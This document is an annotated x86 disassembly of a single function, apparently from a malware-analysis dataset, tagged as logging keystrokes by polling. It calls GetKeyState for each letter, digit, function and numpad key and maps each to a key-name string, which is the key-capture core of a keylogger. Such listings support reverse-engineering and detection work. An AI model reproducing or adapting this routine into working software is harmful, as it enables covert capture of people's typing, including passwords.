Function at 0x41b530
Capabilities:
Log keystrokes via polling
Parse pe header

Disassembly:
push ebx
mov ebx, dword [esp + 8]
mov word [ebx], 0
push 0x41
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b575
mov ecx, ebx
mov edx, 0x42a09a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b55b
pop eax
mov eax, 0x41
jmp 0x41c6f2
push 0x42
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b5b0
mov ecx, ebx
mov edx, 0x42a096
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b596
pop eax
mov eax, 0x42
jmp 0x41c6f2
push 0x43
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b5eb
mov ecx, ebx
mov edx, 0x42a092
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b5d1
pop eax
mov eax, 0x43
jmp 0x41c6f2
push 0x44
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b626
mov ecx, ebx
mov edx, 0x42a08e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b60c
pop eax
mov eax, 0x44
jmp 0x41c6f2
push 0x45
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b661
mov ecx, ebx
mov edx, 0x42a08a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b647
pop eax
mov eax, 0x45
jmp 0x41c6f2
push 0x46
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b69c
mov ecx, ebx
mov edx, 0x42a086
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b682
pop eax
mov eax, 0x46
jmp 0x41c6f2
push 0x47
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b6d7
mov ecx, ebx
mov edx, 0x42a082
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b6bd
pop eax
mov eax, 0x47
jmp 0x41c6f2
push 0x48
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b712
mov ecx, ebx
mov edx, 0x42a07e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b6f8
pop eax
mov eax, 0x48
jmp 0x41c6f2
push 0x49
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b74d
mov ecx, ebx
mov edx, 0x42a07a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b733
pop eax
mov eax, 0x49
jmp 0x41c6f2
push 0x4a
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b788
mov ecx, ebx
mov edx, 0x42a076
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b76e
pop eax
mov eax, 0x4a
jmp 0x41c6f2
push 0x4b
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b7c3
mov ecx, ebx
mov edx, 0x42a072
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b7a9
pop eax
mov eax, 0x4b
jmp 0x41c6f2
push 0x4c
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b7fe
mov ecx, ebx
mov edx, 0x42a06e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b7e4
pop eax
mov eax, 0x4c
jmp 0x41c6f2
push 0x4d
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b839
mov ecx, ebx
mov edx, 0x42a06a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b81f
pop eax
mov eax, 0x4d
jmp 0x41c6f2
push 0x4e
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b874
mov ecx, ebx
mov edx, 0x42a066
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b85a
pop eax
mov eax, 0x4e
jmp 0x41c6f2
push 0x4f
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b8af
mov ecx, ebx
mov edx, 0x42a062
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b895
pop eax
mov eax, 0x4f
jmp 0x41c6f2
push 0x50
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b8ea
mov ecx, ebx
mov edx, 0x42a05e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b8d0
pop eax
mov eax, 0x50
jmp 0x41c6f2
push 0x51
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b925
mov ecx, ebx
mov edx, 0x42a05a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b90b
pop eax
mov eax, 0x51
jmp 0x41c6f2
push 0x52
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b960
mov ecx, ebx
mov edx, 0x42a056
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b946
pop eax
mov eax, 0x52
jmp 0x41c6f2
push 0x53
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b99b
mov ecx, ebx
mov edx, 0x42a052
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b981
pop eax
mov eax, 0x53
jmp 0x41c6f2
push 0x54
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41b9d6
mov ecx, ebx
mov edx, 0x42a04e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b9bc
pop eax
mov eax, 0x54
jmp 0x41c6f2
push 0x55
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41ba11
mov ecx, ebx
mov edx, 0x42a04a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41b9f7
pop eax
mov eax, 0x55
jmp 0x41c6f2
push 0x56
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41ba4c
mov ecx, ebx
mov edx, 0x42a046
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41ba32
pop eax
mov eax, 0x56
jmp 0x41c6f2
push 0x57
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41ba87
mov ecx, ebx
mov edx, 0x42a042
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41ba6d
pop eax
mov eax, 0x57
jmp 0x41c6f2
push 0x58
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bac2
mov ecx, ebx
mov edx, 0x42a03e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41baa8
pop eax
mov eax, 0x58
jmp 0x41c6f2
push 0x59
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bafd
mov ecx, ebx
mov edx, 0x42a03a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bae3
pop eax
mov eax, 0x59
jmp 0x41c6f2
push 0x5a
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bb38
mov ecx, ebx
mov edx, 0x42a036
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bb1e
pop eax
mov eax, 0x5a
jmp 0x41c6f2
push 0x1b
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bb73
mov ecx, ebx
mov edx, 0x42a02e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bb59
pop eax
mov eax, 0x1b
jmp 0x41c6f2
push 0x70
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bbae
mov ecx, ebx
mov edx, 0x42a028
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bb94
pop eax
mov eax, 0x70
jmp 0x41c6f2
push 0x71
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bbe9
mov ecx, ebx
mov edx, 0x42a022
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bbcf
pop eax
mov eax, 0x71
jmp 0x41c6f2
push 0x72
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bc24
mov ecx, ebx
mov edx, 0x42a01c
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bc0a
pop eax
mov eax, 0x72
jmp 0x41c6f2
push 0x73
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bc5f
mov ecx, ebx
mov edx, 0x42a016
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bc45
pop eax
mov eax, 0x73
jmp 0x41c6f2
push 0x74
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bc9a
mov ecx, ebx
mov edx, 0x42a010
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bc80
pop eax
mov eax, 0x74
jmp 0x41c6f2
push 0x75
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bcd5
mov ecx, ebx
mov edx, 0x42a00a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bcbb
pop eax
mov eax, 0x75
jmp 0x41c6f2
push 0x76
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bd10
mov ecx, ebx
mov edx, 0x42a004
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bcf6
pop eax
mov eax, 0x76
jmp 0x41c6f2
push 0x77
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bd4b
mov ecx, ebx
mov edx, 0x429ffe
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bd31
pop eax
mov eax, 0x77
jmp 0x41c6f2
push 0x78
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bd86
mov ecx, ebx
mov edx, 0x429ff8
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bd6c
pop eax
mov eax, 0x78
jmp 0x41c6f2
push 0x79
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bdc1
mov ecx, ebx
mov edx, 0x429ff0
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bda7
pop eax
mov eax, 0x79
jmp 0x41c6f2
push 0x7a
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bdfc
mov ecx, ebx
mov edx, 0x429fe8
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bde2
pop eax
mov eax, 0x7a
jmp 0x41c6f2
push 0x7b
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41be37
mov ecx, ebx
mov edx, 0x429fe0
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41be1d
pop eax
mov eax, 0x7b
jmp 0x41c6f2
push 8
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41be72
mov ecx, ebx
mov edx, str.Backspace
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41be58
pop eax
mov eax, 8
jmp 0x41c6f2
push 0x2d
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bead
mov ecx, ebx
mov edx, 0x429fc4
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41be93
pop eax
mov eax, 0x2d
jmp 0x41c6f2
push 0x24
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bee8
mov ecx, ebx
mov edx, str.Home
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bece
pop eax
mov eax, 0x24
jmp 0x41c6f2
push 0x21
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bf23
mov ecx, ebx
mov edx, str.PgUp
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bf09
pop eax
mov eax, 0x21
jmp 0x41c6f2
push 0x22
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bf5e
mov ecx, ebx
mov edx, str.PgDn
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bf44
pop eax
mov eax, 0x22
jmp 0x41c6f2
push 0x23
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bf99
mov ecx, ebx
mov edx, 0x429f9e
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bf7f
pop eax
mov eax, 0x23
jmp 0x41c6f2
push 0x2e
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41bfd4
mov ecx, ebx
mov edx, 0x429f96
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bfba
pop eax
mov eax, 0x2e
jmp 0x41c6f2
push 0x20
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c00f
mov ecx, ebx
mov edx, str.Space
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41bff5
pop eax
mov eax, 0x20
jmp 0x41c6f2
push 0x26
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c04a
mov ecx, ebx
mov edx, 0x429f84
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c030
pop eax
mov eax, 0x26
jmp 0x41c6f2
push 0x28
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c085
mov ecx, ebx
mov edx, 0x429f7a
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c06b
pop eax
mov eax, 0x28
jmp 0x41c6f2
push 0x25
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c0c0
mov ecx, ebx
mov edx, str.Left
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c0a6
pop eax
mov eax, 0x25
jmp 0x41c6f2
push 0x27
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c0fb
mov ecx, ebx
mov edx, 0x429f64
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c0e1
pop eax
mov eax, 0x27
jmp 0x41c6f2
push 0x30
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c136
mov ecx, ebx
mov edx, 0x429f60
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c11c
pop eax
mov eax, 0x30
jmp 0x41c6f2
push 0x31
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c171
mov ecx, ebx
mov edx, 0x429f5c
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c157
pop eax
mov eax, 0x31
jmp 0x41c6f2
push 0x32
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c1ac
mov ecx, ebx
mov edx, 0x429f58
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c192
pop eax
mov eax, 0x32
jmp 0x41c6f2
push 0x33
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c1e7
mov ecx, ebx
mov edx, 0x429f54
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c1cd
pop eax
mov eax, 0x33
jmp 0x41c6f2
push 0x34
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c222
mov ecx, ebx
mov edx, 0x429f50
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c208
pop eax
mov eax, 0x34
jmp 0x41c6f2
push 0x35
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c25d
mov ecx, ebx
mov edx, 0x429f4c
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c243
pop eax
mov eax, 0x35
jmp 0x41c6f2
push 0x36
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c298
mov ecx, ebx
mov edx, 0x429f48
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c27e
pop eax
mov eax, 0x36
jmp 0x41c6f2
push 0x37
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c2d3
mov ecx, ebx
mov edx, 0x429f44
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c2b9
pop eax
mov eax, 0x37
jmp 0x41c6f2
push 0x38
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c30e
mov ecx, ebx
mov edx, 0x429f40
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c2f4
pop eax
mov eax, 0x38
jmp 0x41c6f2
push 0x39
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c349
mov ecx, ebx
mov edx, str.9876543210
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c32f
pop eax
mov eax, 0x39
jmp 0x41c6f2
push 0x60
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c384
mov ecx, ebx
mov edx, str.Num_0
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c36a
pop eax
mov eax, 0x60
jmp 0x41c6f2
push 0x61
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c3bf
mov ecx, ebx
mov edx, str.Num_1
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c3a5
pop eax
mov eax, 0x61
jmp 0x41c6f2
push 0x62
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c3fa
mov ecx, ebx
mov edx, str.Num_2
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c3e0
pop eax
mov eax, 0x62
jmp 0x41c6f2
push 0x63
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c435
mov ecx, ebx
mov edx, str.Num_3
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c41b
pop eax
mov eax, 0x63
jmp 0x41c6f2
push 0x64
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c470
mov ecx, ebx
mov edx, str.Num_4
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c456
pop eax
mov eax, 0x64
jmp 0x41c6f2
push 0x65
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c4ab
mov ecx, ebx
mov edx, str.Num_5
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c491
pop eax
mov eax, 0x65
jmp 0x41c6f2
push 0x66
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c4e6
mov ecx, ebx
mov edx, str.Num_6
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c4cc
pop eax
mov eax, 0x66
jmp 0x41c6f2
push 0x67
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c521
mov ecx, ebx
mov edx, str.Num_7
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c507
pop eax
mov eax, 0x67
jmp 0x41c6f2
push 0x68
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c55c
mov ecx, ebx
mov edx, str.Num_8
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c542
pop eax
mov eax, 0x68
jmp 0x41c6f2
push 0x69
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c597
mov ecx, ebx
mov edx, str.Num_9
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c57d
pop eax
mov eax, 0x69
jmp 0x41c6f2
push 0x13
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c5d2
mov ecx, ebx
mov edx, 0x429eb8
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c5b8
pop eax
mov eax, 0x13
jmp 0x41c6f2
push 0x6b
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c60d
mov ecx, ebx
mov edx, 0x429eb4
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c5f3
pop eax
mov eax, 0x6b
jmp 0x41c6f2
push 0x6d
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c648
mov ecx, ebx
mov edx, 0x429eb0
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c62e
pop eax
mov eax, 0x6d
jmp 0x41c6f2
push 0x6a
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c680
mov ecx, ebx
mov edx, 0x429eac
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c669
pop eax
mov eax, 0x6a
jmp 0x41c6f2
push 0x6f
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c6b8
mov ecx, ebx
mov edx, 0x429ea8
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c6a1
pop eax
mov eax, 0x6f
jmp 0x41c6f2
push 0xd
call dword [sym.imp.USER32.dll_GetKeyState]
movsx eax, ax
and eax, 0x8000
cmp eax, 0x8000
jne 0x41c6f0
mov ecx, ebx
mov edx, 0x429e9c
push ecx
sub ecx, edx
mov ax, word [edx]
mov word [ecx + edx], ax
add edx, 2
test ax, ax
jne 0x41c6d9
pop eax
mov eax, 0xd
jmp 0x41c6f2
xor eax, eax
pop ebx
ret 4